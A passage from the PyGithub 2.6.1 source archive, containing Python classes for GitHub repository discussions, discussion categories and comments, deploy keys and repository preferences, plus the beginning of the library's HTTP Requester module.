github.RepositoryDiscussionComment.RepositoryDiscussionComment, self._requester, graphql_query=query, graphql_variables=variables, list_item=["node", "comments"], ) def get_labels(self) -> PaginatedList[Label]: if self._labels_page is None: raise RuntimeError("Fetching labels not implemented") return PaginatedList(github.Label.Label, self._requester, firstData=self._labels_page, firstHeaders={}) def get_reactions(self) -> PaginatedList[Reaction]: if self._reactions_page is None: raise RuntimeError("Fetching reactions not implemented") return PaginatedList(github.Reaction.Reaction, self._requester, firstData=self._reactions_page, firstHeaders={}) def add_comment( self, body: str, reply_to: RepositoryDiscussionComment | str | None = None, output_schema: str = "id" ) -> RepositoryDiscussionComment: reply_to_id = ( reply_to.id if isinstance(reply_to, github.RepositoryDiscussionComment.RepositoryDiscussionComment) else reply_to ) if not output_schema.startswith("\n"): output_schema = f" {output_schema} " variables = {"body": body, "discussionId": self.id, "replyToId": reply_to_id} return self._requester.graphql_named_mutation_class( "addDiscussionComment", NotSet.remove_unset_items(variables), f"comment {{{output_schema}}}", "comment", github.RepositoryDiscussionComment.RepositoryDiscussionComment, ) def _useAttributes(self, attributes: dict[str, Any]) -> None: # super class is a REST API GithubObject, attributes are coming from GraphQL super()._useAttributes(as_rest_api_attributes(attributes)) if "answer" in attributes: # pragma no branch self._answer = self._makeClassAttribute( github.RepositoryDiscussionComment.RepositoryDiscussionComment, attributes["answer"] ) if "bodyText" in attributes: # pragma no branch self._body_text = self._makeStringAttribute(attributes["bodyText"]) if "category" in attributes: # pragma no branch self._category = self._makeClassAttribute( github.RepositoryDiscussionCategory.RepositoryDiscussionCategory, attributes["category"] ) if "comments" in attributes: # pragma no branch # comments are GraphQL API objects self._comments_page = attributes["comments"]["nodes"] if "databaseId" in attributes: # pragma no branch self._database_id = self._makeIntAttribute(attributes["databaseId"]) if "editor" in attributes: # pragma no branch self._editor = self._makeClassAttribute(github.NamedUser.NamedUser, attributes["editor"]) if "id" in attributes: # pragma no branch self._id = self._makeStringAttribute(attributes["id"]) if "labels" in attributes: # pragma no branch # labels are REST API objects self._labels_page = as_rest_api_attributes_list(attributes["labels"]["nodes"]) # type: ignore if "reactions" in attributes: # pragma no branch # reactions are REST API objects self._reactions_page = as_rest_api_attributes_list(attributes["reactions"]["nodes"]) # type: ignore if "repository" in attributes: # pragma no branch self._repository = self._makeClassAttribute( github.Repository.Repository, as_rest_api_attributes(attributes["repository"]) ) ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/github/RepositoryDiscussionCategory.py0000644000175100001660000001522314756101563022546 0ustar00runnerdocker############################ Copyrights and license ############################ # # # Copyright 2012 Vincent Jacques # # Copyright 2012 Zearin # # Copyright 2013 AKFish # # Copyright 2013 Vincent Jacques # # Copyright 2014 Vincent Jacques # # Copyright 2016 Jannis Gebauer # # Copyright 2016 Peter Buckley # # Copyright 2018 Wan Liuyang # # Copyright 2018 sfdye # # Copyright 2019 Steve Kowalik # # Copyright 2019 Wan Liuyang # # Copyright 2020 Steve Kowalik # # Copyright 2020 Victor Zeng # # Copyright 2022 Eric Nieuwland # # Copyright 2023 Enrico Minack # # Copyright 2023 Jirka Borovec <6035284+Borda@users.noreply.github.com> # # Copyright 2023 Trim21 # # Copyright 2024 Enrico Minack # # Copyright 2024 Jirka Borovec <6035284+Borda@users.noreply.github.com> # # Copyright 2025 Enrico Minack # # # # This file is part of PyGithub. # # http://pygithub.readthedocs.io/ # # # # PyGithub is free software: you can redistribute it and/or modify it under # # the terms of the GNU Lesser General Public License as published by the Free # # Software Foundation, either version 3 of the License, or (at your option) # # any later version. # # # # PyGithub is distributed in the hope that it will be useful, but WITHOUT ANY # # WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS # # FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public License for more # # details. # # # # You should have received a copy of the GNU Lesser General Public License # # along with PyGithub. If not, see . # # # ################################################################################ from __future__ import annotations from datetime import datetime from typing import TYPE_CHECKING, Any import github.Reaction from github.GithubObject import Attribute, GraphQlObject, NonCompletableGithubObject, NotSet, as_rest_api_attributes if TYPE_CHECKING: from github.Repository import Repository class RepositoryDiscussionCategory(GraphQlObject, NonCompletableGithubObject): """ This class represents GraphQL DiscussionCategory. The reference can be found here https://docs.github.com/en/graphql/reference/objects#discussioncategory """ def _initAttributes(self) -> None: self._created_at: Attribute[datetime] = NotSet self._description: Attribute[str] = NotSet self._emoji: Attribute[str] = NotSet self._emoji_html: Attribute[str] = NotSet self._id: Attribute[str] = NotSet self._is_answerable: Attribute[bool] = NotSet self._name: Attribute[str] = NotSet self._repository: Attribute[Repository] = NotSet self._slug: Attribute[str] = NotSet self._updated_at: Attribute[datetime] = NotSet @property def created_at(self) -> datetime: return self._created_at.value @property def description(self) -> str: return self._description.value @property def emoji(self) -> str: return self._emoji.value @property def emoji_html(self) -> str: return self._emoji_html.value @property def id(self) -> str: return self._id.value @property def is_answerable(self) -> bool: return self._is_answerable.value @property def name(self) -> str: return self._name.value @property def node_id(self) -> str: return self.id @property def repository(self) -> Repository: return self._repository.value @property def slug(self) -> str: return self._slug.value @property def updated_at(self) -> datetime: return self._updated_at.value def _useAttributes(self, attributes: dict[str, Any]) -> None: if "createdAt" in attributes: # pragma no branch self._created_at = self._makeDatetimeAttribute(attributes["createdAt"]) if "description" in attributes: # pragma no branch self._description = self._makeStringAttribute(attributes["description"]) if "emoji" in attributes: # pragma no branch self._emoji = self._makeStringAttribute(attributes["emoji"]) if "emojiHTML" in attributes: # pragma no branch self._emoji_html = self._makeStringAttribute(attributes["emojiHTML"]) if "id" in attributes: # pragma no branch self._id = self._makeStringAttribute(attributes["id"]) if "isAnswerable" in attributes: # pragma no branch self._is_answerable = self._makeBoolAttribute(attributes["isAnswerable"]) if "name" in attributes: # pragma no branch self._name = self._makeStringAttribute(attributes["name"]) if "repository" in attributes: # pragma no branch # repository is a REST API object self._repository = self._makeClassAttribute( github.Repository.Repository, as_rest_api_attributes(attributes["repository"]) ) if "slug" in attributes: # pragma no branch self._slug = self._makeStringAttribute(attributes["slug"]) if "updatedAt" in attributes: # pragma no branch self._updated_at = self._makeDatetimeAttribute(attributes["updatedAt"]) ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/github/RepositoryDiscussionComment.py0000644000175100001660000001466514756101563022404 0ustar00runnerdocker############################ Copyrights and license ############################ # # # Copyright 2024 Enrico Minack # # # # This file is part of PyGithub. # # http://pygithub.readthedocs.io/ # # # # PyGithub is free software: you can redistribute it and/or modify it under # # the terms of the GNU Lesser General Public License as published by the Free # # Software Foundation, either version 3 of the License, or (at your option) # # any later version. # # # # PyGithub is distributed in the hope that it will be useful, but WITHOUT ANY # # WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS # # FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public License for more # # details. # # # # You should have received a copy of the GNU Lesser General Public License # # along with PyGithub. If not, see . # # # ################################################################################ from __future__ import annotations from typing import TYPE_CHECKING, Any import github.NamedUser import github.Reaction from github.DiscussionCommentBase import DiscussionCommentBase from github.GithubObject import ( Attribute, GraphQlObject, NotSet, as_rest_api_attributes, as_rest_api_attributes_list, is_defined, ) from github.PaginatedList import PaginatedList if TYPE_CHECKING: from github.NamedUser import NamedUser from github.Reaction import Reaction from github.RepositoryDiscussion import RepositoryDiscussion class RepositoryDiscussionComment(GraphQlObject, DiscussionCommentBase): """ This class represents GraphQL DiscussionComment. The reference can be found here https://docs.github.com/en/graphql/reference/objects#discussioncomment """ def _initAttributes(self) -> None: super()._initAttributes() self._body_text: Attribute[str] = NotSet self._database_id: Attribute[int] = NotSet self._discussion: Attribute[RepositoryDiscussion] self._editor: Attribute[NamedUser] = NotSet self._id: Attribute[str] = NotSet self._reactions_page = None self._replies_page = None @property def body_text(self) -> str: return self._body_text.value @property def database_id(self) -> int: return self._database_id.value @property def discussion(self) -> RepositoryDiscussion: return self._discussion.value @property def editor(self) -> NamedUser: return self._editor.value @property def id(self) -> str: return self._id.value @property def node_id(self) -> str: if is_defined(self._node_id): return super().node_id return self.id def get_reactions(self) -> PaginatedList[Reaction]: if self._reactions_page is None: raise RuntimeError("Fetching reactions not implemented") return PaginatedList(github.Reaction.Reaction, self._requester, firstData=self._reactions_page, firstHeaders={}) def get_replies(self) -> PaginatedList[RepositoryDiscussionComment]: if self._replies_page is None: raise RuntimeError("Fetching replies not implemented") return PaginatedList( RepositoryDiscussionComment, self._requester, firstData=self._replies_page, firstHeaders={} ) def edit(self, body: str, output_schema: str = "id") -> RepositoryDiscussionComment: if not output_schema.startswith("\n"): output_schema = f" {output_schema} " return self._requester.graphql_named_mutation_class( "updateDiscussionComment", {"commentId": self.node_id, "body": body}, f"comment {{{output_schema}}}", "comment", github.RepositoryDiscussionComment.RepositoryDiscussionComment, ) def delete(self, output_schema: str = "id") -> RepositoryDiscussionComment: if not output_schema.startswith("\n"): output_schema = f" {output_schema} " return self._requester.graphql_named_mutation_class( "deleteDiscussionComment", {"id": self.id}, f"comment {{{output_schema}}}", "comment", github.RepositoryDiscussionComment.RepositoryDiscussionComment, ) def _useAttributes(self, attributes: dict[str, Any]) -> None: # super class is a REST API GithubObject, attributes are coming from GraphQL super()._useAttributes(as_rest_api_attributes(attributes)) if "bodyText" in attributes: # pragma no branch self._body_text = self._makeStringAttribute(attributes["bodyText"]) if "databaseId" in attributes: # pragma no branch self._database_id = self._makeIntAttribute(attributes["databaseId"]) if "discussion" in attributes: # pragma no branch # RepositoryDiscussion is a GraphQL API object self._discussion = self._makeClassAttribute( github.RepositoryDiscussion.RepositoryDiscussion, attributes["discussion"] ) if "editor" in attributes: # pragma no branch # NamedUser is a REST API object self._editor = self._makeClassAttribute( github.NamedUser.NamedUser, as_rest_api_attributes(attributes["editor"]) ) if "id" in attributes: # pragma no branch self._id = self._makeStringAttribute(attributes["id"]) if "reactions" in attributes: # pragma no branch # reactions are REST API objects self._reactions_page = as_rest_api_attributes_list(attributes["reactions"]["nodes"]) # type: ignore if "replies" in attributes: # pragma no branch # replies are GraphQL API objects self._replies_page = attributes["replies"]["nodes"] ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/github/RepositoryKey.py0000644000175100001660000001652414756101563017462 0ustar00runnerdocker############################ Copyrights and license ############################ # # # Copyright 2012 Vincent Jacques # # Copyright 2012 Zearin # # Copyright 2013 AKFish # # Copyright 2013 Srijan Choudhary # # Copyright 2013 Vincent Jacques # # Copyright 2013 martinqt # # Copyright 2014 Vincent Jacques # # Copyright 2016 Jannis Gebauer # # Copyright 2016 Peter Buckley # # Copyright 2017 Jimmy Zelinskie # # Copyright 2017 Simon # # Copyright 2018 Laurent Raufaste # # Copyright 2018 Wan Liuyang # # Copyright 2018 sfdye # # Copyright 2019 Steve Kowalik # # Copyright 2019 Wan Liuyang # # Copyright 2020 Steve Kowalik # # Copyright 2021 Floyd Hightower # # Copyright 2021 Mark Walker # # Copyright 2021 Steve Kowalik # # Copyright 2023 Enrico Minack # # Copyright 2023 Trim21 # # Copyright 2024 Enrico Minack # # Copyright 2024 Jirka Borovec <6035284+Borda@users.noreply.github.com> # # Copyright 2024 Ramiro Morales # # Copyright 2025 Enrico Minack # # # # This file is part of PyGithub. # # http://pygithub.readthedocs.io/ # # # # PyGithub is free software: you can redistribute it and/or modify it under # # the terms of the GNU Lesser General Public License as published by the Free # # Software Foundation, either version 3 of the License, or (at your option) # # any later version. # # # # PyGithub is distributed in the hope that it will be useful, but WITHOUT ANY # # WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS # # FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public License for more # # details. # # # # You should have received a copy of the GNU Lesser General Public License # # along with PyGithub. If not, see . # # # ################################################################################ from __future__ import annotations from datetime import datetime from typing import Any from github.GithubObject import Attribute, CompletableGithubObject, NotSet class RepositoryKey(CompletableGithubObject): """ This class represents RepositoryKeys. The reference can be found here https://docs.github.com/en/rest/reference/repos#deploy-keys The OpenAPI schema can be found at - /components/schemas/deploy-key """ def _initAttributes(self) -> None: self._added_by: Attribute[str] = NotSet self._created_at: Attribute[datetime] = NotSet self._id: Attribute[int] = NotSet self._key: Attribute[str] = NotSet self._last_used: Attribute[datetime] = NotSet self._read_only: Attribute[bool] = NotSet self._title: Attribute[str] = NotSet self._url: Attribute[str] = NotSet self._verified: Attribute[bool] = NotSet def __repr__(self) -> str: return self.get__repr__({"id": self._id.value, "title": self._title.value}) @property def added_by(self) -> str: self._completeIfNotSet(self._added_by) return self._added_by.value @property def created_at(self) -> datetime: self._completeIfNotSet(self._created_at) return self._created_at.value @property def id(self) -> int: self._completeIfNotSet(self._id) return self._id.value @property def key(self) -> str: self._completeIfNotSet(self._key) return self._key.value @property def last_used(self) -> datetime: self._completeIfNotSet(self._last_used) return self._last_used.value @property def read_only(self) -> bool: self._completeIfNotSet(self._read_only) return self._read_only.value @property def title(self) -> str: self._completeIfNotSet(self._title) return self._title.value @property def url(self) -> str: self._completeIfNotSet(self._url) return self._url.value @property def verified(self) -> bool: self._completeIfNotSet(self._verified) return self._verified.value def delete(self) -> None: """ :calls: `DELETE /repos/{owner}/{repo}/keys/{id} `_ """ headers, data = self._requester.requestJsonAndCheck("DELETE", self.url) def _useAttributes(self, attributes: dict[str, Any]) -> None: if "added_by" in attributes: # pragma no branch self._added_by = self._makeStringAttribute(attributes["added_by"]) if "created_at" in attributes: # pragma no branch self._created_at = self._makeDatetimeAttribute(attributes["created_at"]) if "id" in attributes: # pragma no branch self._id = self._makeIntAttribute(attributes["id"]) if "key" in attributes: # pragma no branch self._key = self._makeStringAttribute(attributes["key"]) if "last_used" in attributes: # pragma no branch assert attributes["last_used"] is None or isinstance(attributes["last_used"], str), attributes["last_used"] self._last_used = self._makeDatetimeAttribute(attributes["last_used"]) if "read_only" in attributes: # pragma no branch self._read_only = self._makeBoolAttribute(attributes["read_only"]) if "title" in attributes: # pragma no branch self._title = self._makeStringAttribute(attributes["title"]) if "url" in attributes: # pragma no branch self._url = self._makeStringAttribute(attributes["url"]) if "verified" in attributes: # pragma no branch self._verified = self._makeBoolAttribute(attributes["verified"]) ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/github/RepositoryPreferences.py0000644000175100001660000001071314756101563021165 0ustar00runnerdocker############################ Copyrights and license ############################ # # # Copyright 2012 Vincent Jacques # # Copyright 2012 Zearin # # Copyright 2013 Vincent Jacques # # Copyright 2014 Vincent Jacques # # Copyright 2016 Peter Buckley # # Copyright 2018 Wan Liuyang # # Copyright 2018 sfdye # # Copyright 2019 Adam Baratz # # Copyright 2019 Nick Campbell # # Copyright 2019 Steve Kowalik # # Copyright 2019 Wan Liuyang # # Copyright 2020 Dhruv Manilawala # # Copyright 2020 Steve Kowalik # # Copyright 2023 Enrico Minack # # Copyright 2023 Jirka Borovec <6035284+Borda@users.noreply.github.com> # # Copyright 2023 Trim21 # # Copyright 2024 Enrico Minack # # Copyright 2024 Jirka Borovec <6035284+Borda@users.noreply.github.com> # # Copyright 2025 Enrico Minack # # # # This file is part of PyGithub. # # http://pygithub.readthedocs.io/ # # # # PyGithub is free software: you can redistribute it and/or modify it under # # the terms of the GNU Lesser General Public License as published by the Free # # Software Foundation, either version 3 of the License, or (at your option) # # any later version. # # # # PyGithub is distributed in the hope that it will be useful, but WITHOUT ANY # # WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS # # FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public License for more # # details. # # # # You should have received a copy of the GNU Lesser General Public License # # along with PyGithub. If not, see . # # # ################################################################################ from __future__ import annotations from typing import TYPE_CHECKING, Any import github.Repository from github.GithubObject import Attribute, NonCompletableGithubObject, NotSet if TYPE_CHECKING: from github.Repository import Repository class RepositoryPreferences(NonCompletableGithubObject): """ This class represents repository preferences. The reference can be found here https://docs.github.com/en/free-pro-team@latest/rest/reference/checks#update-repository-preferences-for-check-suites The OpenAPI schema can be found at - /components/schemas/check-suite-preference """ def _initAttributes(self) -> None: self._preferences: Attribute[dict[str, list[dict[str, bool | int]]]] = NotSet self._repository: Attribute[Repository] = NotSet @property def preferences(self) -> dict[str, list[dict[str, bool | int]]]: return self._preferences.value @property def repository(self) -> Repository: return self._repository.value def _useAttributes(self, attributes: dict[str, Any]) -> None: if "preferences" in attributes: # pragma no branch self._preferences = self._makeDictAttribute(attributes["preferences"]) if "repository" in attributes: # pragma no branch self._repository = self._makeClassAttribute(github.Repository.Repository, attributes["repository"]) ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/github/Requester.py0000644000175100001660000014657314756101563016621 0ustar00runnerdocker############################ Copyrights and license ############################ # # # Copyright 2012 Andrew Bettison # # Copyright 2012 Dima Kukushkin # # Copyright 2012 Michael Woodworth # # Copyright 2012 Petteri Muilu # # Copyright 2012 Steve English # # Copyright 2012 Vincent Jacques # # Copyright 2012 Zearin # # Copyright 2013 AKFish # # Copyright 2013 Cameron White # # Copyright 2013 Ed Jackson # # Copyright 2013 Jonathan J Hunt # # Copyright 2013 Mark Roddy # # Copyright 2013 Vincent Jacques # # Copyright 2014 Jimmy Zelinskie # # Copyright 2014 Vincent Jacques # # Copyright 2015 Brian Eugley # # Copyright 2015 Daniel Pocock # # Copyright 2016 Denis K # # Copyright 2016 Jared K. Smith # # Copyright 2016 Mathieu Mitchell # # Copyright 2016 Peter Buckley # # Copyright 2017 Chris McBride # # Copyright 2017 Hugo # # Copyright 2017 Simon # # Copyright 2018 Arda Kuyumcu # # Copyright 2018 Dylan # # Copyright 2018 Maarten Fonville # # Copyright 2018 Mike Miller # # Copyright 2018 R1kk3r # # Copyright 2018 Shubham Singh <41840111+singh811@users.noreply.github.com> # # Copyright 2018 Steve Kowalik # # Copyright 2018 Tuuu Nya # # Copyright 2018 Wan Liuyang # # Copyright 2018 sfdye # # Copyright 2019 Isac Souza # # Copyright 2019 Rigas Papathanasopoulos # # Copyright 2019 Steve Kowalik # # Copyright 2019 Wan Liuyang # # Copyright 2020 Jesse Li # # Copyright 2020 Steve Kowalik # # Copyright 2021 Amador Pahim # # Copyright 2021 Mark Walker # # Copyright 2021 Steve Kowalik # # Copyright 2022 Liuyang Wan # # Copyright 2023 Denis Blanchette # # Copyright 2023 Enrico Minack # # Copyright 2023 Heitor Polidoro # # Copyright 2023 Hemslo Wang # # Copyright 2023 Jirka Borovec <6035284+Borda@users.noreply.github.com> # # Copyright 2023 Phillip Tran # # Copyright 2023 Trim21 # # Copyright 2023 adosibalo <94008816+adosibalo@users.noreply.github.com> # # Copyright 2024 Enrico Minack # # Copyright 2024 Jirka Borovec <6035284+Borda@users.noreply.github.com> # # Copyright 2024 Jonathan Kliem # # Copyright 2024 Kobbi Gal <85439776+kgal-pan@users.noreply.github.com> # # Copyright 2024 Min RK # # Copyright 2025 Enrico Minack # # Copyright 2025 Neel Malik <41765022+neel-m@users.noreply.github.com> # # Copyright 2025 Timothy Klopotoski # # # # This file is part of PyGithub. # # http://pygithub.readthedocs.io/ # # # # PyGithub is free software: you can redistribute it and/or modify it under # # the terms of the GNU Lesser General Public License as published by the Free # # Software Foundation, either version 3 of the License, or (at your option) # # any later version. # # # # PyGithub is distributed in the hope that it will be useful, but WITHOUT ANY # # WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS # # FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public License for more # # details. # # # # You should have received a copy of the GNU Lesser General Public License # # along with PyGithub. If not, see . # # # ################################################################################ import io import json import logging import mimetypes import os import re import threading import time import urllib import urllib.parse from collections import deque from datetime import datetime, timezone from io import IOBase from typing import ( TYPE_CHECKING, Any, BinaryIO, Callable, Deque, Dict, Generic, ItemsView, Iterator, List, Optional, Tuple, Type, TypeVar, Union, ) import requests import requests.adapters from urllib3 import Retry import github.Consts as Consts import github.GithubException import github.GithubException as GithubException from github.GithubObject import as_rest_api_attributes if TYPE_CHECKING: from .AppAuthentication import AppAuthentication from .Auth import Auth from .GithubObject import GithubObject from .InstallationAuthorization import InstallationAuthorization T = TypeVar("T") T_gh = TypeVar("T_gh", bound="GithubObject") # For App authentication, time remaining before token expiration to request a new one ACCESS_TOKEN_REFRESH_THRESHOLD_SECONDS = 20 class RequestsResponse: # mimic the httplib response object def __init__(self, r: requests.Response): self.status = r.status_code self.headers = r.headers self.response = r def getheaders(self) -> ItemsView[str, str]: return self.headers.items() def read(self) -> str: return self.response.text def iter_content(self, chunk_size: Union[int, None] = 1) -> Iterator: return self.response.iter_content(chunk_size=chunk_size) def raise_for_status(self) -> None: self.response.raise_for_status() class HTTPSRequestsConnectionClass: retry: Union[int, Retry] # mimic the httplib connection object def __init__( self, host: str, port: Optional[int] = None, strict: bool = False, timeout: Optional[int] = None, retry: Optional[Union[int, Retry]] = None, pool_size: Optional[int] = None, **kwargs: Any, ) -> None: self.port = port if port else 443 self.host = host self.protocol = "https" self.timeout = timeout self.verify = kwargs.get("verify", True) self.session = requests.Session() # having Session.auth set something other than None disables falling back to .netrc file # https://github.com/psf/requests/blob/d63e94f552ebf77ccf45d97e5863ac46500fa2c7/src/requests/sessions.py#L480-L481 # see https://github.com/PyGithub/PyGithub/pull/2703 self.session.auth = Requester.noopAuth if retry is None: self.retry = requests.adapters.DEFAULT_RETRIES else: self.retry = retry if pool_size is None: self.pool_size = requests.adapters.DEFAULT_POOLSIZE else: self.pool_size = pool_size self.adapter = requests.adapters.HTTPAdapter( max_retries=self.retry, pool_connections=self.pool_size, pool_maxsize=self.pool_size, ) self.session.mount("https://", self.adapter) def request( self, verb: str, url: str, input: Optional[Union[str, io.BufferedReader]], headers: Dict[str, str], stream: bool = False, ) -> None: self.verb = verb self.url = url self.input = input self.headers = headers self.stream = stream def getresponse(self) -> RequestsResponse: verb = getattr(self.session, self.verb.lower()) url = f"{self.protocol}://{self.host}:{self.port}{self.url}" r = verb( url, headers=self.headers, data=self.input, timeout=self.timeout, verify=self.verify, allow_redirects=False, ) return RequestsResponse(r) def close(self) -> None: self.session.close() class HTTPRequestsConnectionClass: # mimic the httplib connection object def __init__( self, host: str, port: Optional[int] = None, strict: bool = False, timeout: Optional[int] = None, retry: Optional[Union[int, Retry]] = None, pool_size: Optional[int] = None, **kwargs: Any, ): self.port = port if port else 80 self.host = host self.protocol = "http" self.timeout = timeout self.verify = kwargs.get("verify", True) self.session = requests.Session() # having Session.auth set something other than None disables falling back to .netrc file # https://github.com/psf/requests/blob/d63e94f552ebf77ccf45d97e5863ac46500fa2c7/src/requests/sessions.py#L480-L481 # see https://github.com/PyGithub/PyGithub/pull/2703 self.session.auth = Requester.noopAuth if retry is None: self.retry = requests.adapters.DEFAULT_RETRIES else: self.retry = retry # type: ignore if pool_size is None: self.pool_size = requests.adapters.DEFAULT_POOLSIZE else: self.pool_size = pool_size self.adapter = requests.adapters.HTTPAdapter( max_retries=self.retry, pool_connections=self.pool_size, pool_maxsize=self.pool_size, ) self.session.mount("http://", self.adapter) def request(self, verb: str, url: str, input: None, headers: Dict[str, str], stream: bool = False) -> None: self.verb = verb self.url = url self.input = input self.headers = headers self.stream = stream def getresponse(self) -> RequestsResponse: verb = getattr(self.session, self.verb.lower()) url = f"{self.protocol}://{self.host}:{self.port}{self.url}" r = verb( url, headers=self.headers, data=self.input, timeout=self.timeout, verify=self.verify, allow_redirects=False, ) return RequestsResponse(r) def close(self) -> None: self.session.close() class Requester: __installation_authorization: Optional["InstallationAuthorization"] __app_auth: Optional["AppAuthentication"] __httpConnectionClass = HTTPRequestsConnectionClass __httpsConnectionClass = HTTPSRequestsConnectionClass __persist = True __logger: Optional[logging.Logger] = None _frameBuffer: List[Any] @staticmethod def noopAuth(request: requests.models.PreparedRequest) -> requests.models.PreparedRequest: return request @classmethod def injectConnectionClasses( cls, httpConnectionClass: Type[HTTPRequestsConnectionClass], httpsConnectionClass: Type[HTTPSRequestsConnectionClass], ) -> None: cls.__persist = False cls.__httpConnectionClass = httpConnectionClass cls.__httpsConnectionClass = httpsConnectionClass @classmethod def resetConnectionClasses(cls) -> None: cls.__persist = True cls.__httpConnectionClass = HTTPRequestsConnectionClass cls.__httpsConnectionClass = HTTPSRequestsConnectionClass @classmethod def injectLogger(cls, logger: logging.Logger) -> None: cls.__logger = logger @classmethod def resetLogger(cls) -> None: cls.__logger = None ############################################################# # For Debug @classmethod def setDebugFlag(cls, flag: bool) -> None: cls.DEBUG_FLAG = flag @classmethod def setOnCheckMe(cls, onCheckMe: Callable) -> None: cls.ON_CHECK_ME = onCheckMe DEBUG_FLAG = False DEBUG_FRAME_BUFFER_SIZE = 1024 DEBUG_HEADER_KEY = "DEBUG_FRAME" ON_CHECK_ME: Optional[Callable] = None def NEW_DEBUG_FRAME(self, requestHeader: Dict[str, str]) -> None: """ Initialize a debug frame with requestHeader Frame count is updated and will be attached to respond header The structure of a frame: [requestHeader, statusCode, responseHeader, raw_data] Some of them may be None """ if self.DEBUG_FLAG: # pragma no branch (Flag always set in tests) new_frame = [requestHeader, None, None, None] if self._frameCount < self.DEBUG_FRAME_BUFFER_SIZE - 1: # pragma no branch (Should be covered) self._frameBuffer.append(new_frame) else: self._frameBuffer[0] = new_frame # pragma no cover (Should be covered) self._frameCount = len(self._frameBuffer) - 1 def DEBUG_ON_RESPONSE(self, statusCode: int, responseHeader: Dict[str, Union[str, int]], data: str) -> None: """ Update current frame with response Current frame index will be attached to responseHeader. """ if self.DEBUG_FLAG: # pragma no branch (Flag always set in tests) self._frameBuffer[self._frameCount][1:4] = [ statusCode, responseHeader, data, ] responseHeader[self.DEBUG_HEADER_KEY] = self._frameCount def check_me(self, obj: "GithubObject") -> None: if self.DEBUG_FLAG and self.ON_CHECK_ME is not None: # pragma no branch (Flag always set in tests) frame = None if self.DEBUG_HEADER_KEY in obj._headers: frame_index = obj._headers[self.DEBUG_HEADER_KEY] frame = self._frameBuffer[frame_index] # type: ignore self.ON_CHECK_ME(obj, frame) def _initializeDebugFeature(self) -> None: self._frameCount = 0 self._frameBuffer = [] ############################################################# _frameCount: int __connectionClass: Union[Type[HTTPRequestsConnectionClass], Type[HTTPSRequestsConnectionClass]] __hostname: str __authorizationHeader: Optional[str] __seconds_between_requests: Optional[float] __seconds_between_writes: Optional[float] # keep arguments in-sync with github.MainClass and GithubIntegration def __init__( self, auth: Optional["Auth"], base_url: str, timeout: int, user_agent: str, per_page: int, verify: Union[bool, str], retry: Optional[Union[int, Retry]], pool_size: Optional[int], seconds_between_requests: Optional[float] = None, seconds_between_writes: Optional[float] = None, lazy: bool = False, ): self._initializeDebugFeature() self.__auth = auth self.__base_url = base_url o = urllib.parse.urlparse(base_url) self.__graphql_prefix = self.get_graphql_prefix(o.path) self.__graphql_url = urllib.parse.urlunparse(o._replace(path=self.__graphql_prefix)) self.__hostname = o.hostname # type: ignore self.__port = o.port self.__prefix = o.path self.__timeout = timeout self.__retry = retry # NOTE: retry can be either int or an urllib3 Retry object self.__pool_size = pool_size self.__seconds_between_requests = seconds_between_requests self.__seconds_between_writes = seconds_between_writes self.__last_requests: Dict[str, float] = dict() self.__scheme = o.scheme if o.scheme == "https": self.__connectionClass = self.__httpsConnectionClass elif o.scheme == "http": self.__connectionClass = self.__httpConnectionClass else: assert False, "Unknown URL scheme" self.__connection: Optional[Union[HTTPRequestsConnectionClass, HTTPSRequestsConnectionClass]] = None self.__connection_lock = threading.Lock() self.__custom_connections: Deque[Union[HTTPRequestsConnectionClass, HTTPSRequestsConnectionClass]] = deque() self.rate_limiting = (-1, -1) self.rate_limiting_resettime = 0 self.FIX_REPO_GET_GIT_REF = True self.per_page = per_page self.oauth_scopes = None assert user_agent is not None, ( "github now requires a user-agent. " "See https://docs.github.com/en/rest/overview/resources-in-the-rest-api#user-agent-required" ) self.__userAgent = user_agent self.__verify = verify self.__lazy = lazy self.__installation_authorization = None # provide auth implementations that require a requester with this requester if isinstance(self.__auth, WithRequester): self.__auth.withRequester(self) def __getstate__(self) -> Dict[str, Any]: state = self.__dict__.copy() # __connection_lock is not picklable del state["_Requester__connection_lock"] # __connection is not usable on remote, so ignore it del state["_Requester__connection"] # __custom_connections is not usable on remote, so ignore it del state["_Requester__custom_connections"] return state def __setstate__(self, state: Dict[str, Any]) -> None: self.__dict__.update(state) self.__connection_lock = threading.Lock() self.__connection = None self.__custom_connections = deque() @staticmethod # replace with str.removesuffix once support for Python 3.8 is dropped def remove_suffix(string: str, suffix: str) -> str: if string.endswith(suffix): return string[: -len(suffix)] return string @staticmethod def get_graphql_prefix(path: Optional[str]) -> str: if path is None or path in ["", "/"]: path = "" if path.endswith(("/v3", "/v3/")): path = Requester.remove_suffix(path, "/") path = Requester.remove_suffix(path, "/v3") return path + "/graphql" @staticmethod def get_parameters_of_url(url: str) -> Dict[str, list]: query = urllib.parse.urlparse(url)[4] return urllib.parse.parse_qs(query) @staticmethod def add_parameters_to_url( url: str, parameters: Dict[str, Any], ) -> str: scheme, netloc, url, params, query, fragment = urllib.parse.urlparse(url) url_params = urllib.parse.parse_qs(query) # union parameters in url with given parameters, the latter have precedence url_params.update(**{k: v if isinstance(v, list) else [v] for k, v in parameters.items()}) parameter_list = [(key, value) for key, values in url_params.items() for value in values] # remove query from url url = urllib.parse.urlunparse((scheme, netloc, url, params, "", fragment)) if len(parameter_list) == 0: return url else: return f"{url}?{urllib.parse.urlencode(parameter_list)}" def close(self) -> None: """ Close the connection to the server. """ with self.__connection_lock: if self.__connection is not None: self.__connection.close() self.__connection = None while self.__custom_connections: self.__custom_connections.popleft().close() @property def kwargs(self) -> Dict[str, Any]: """ Returns arguments required to recreate this Requester with Requester.__init__, as well as with MainClass.__init__ and GithubIntegration.__init__. 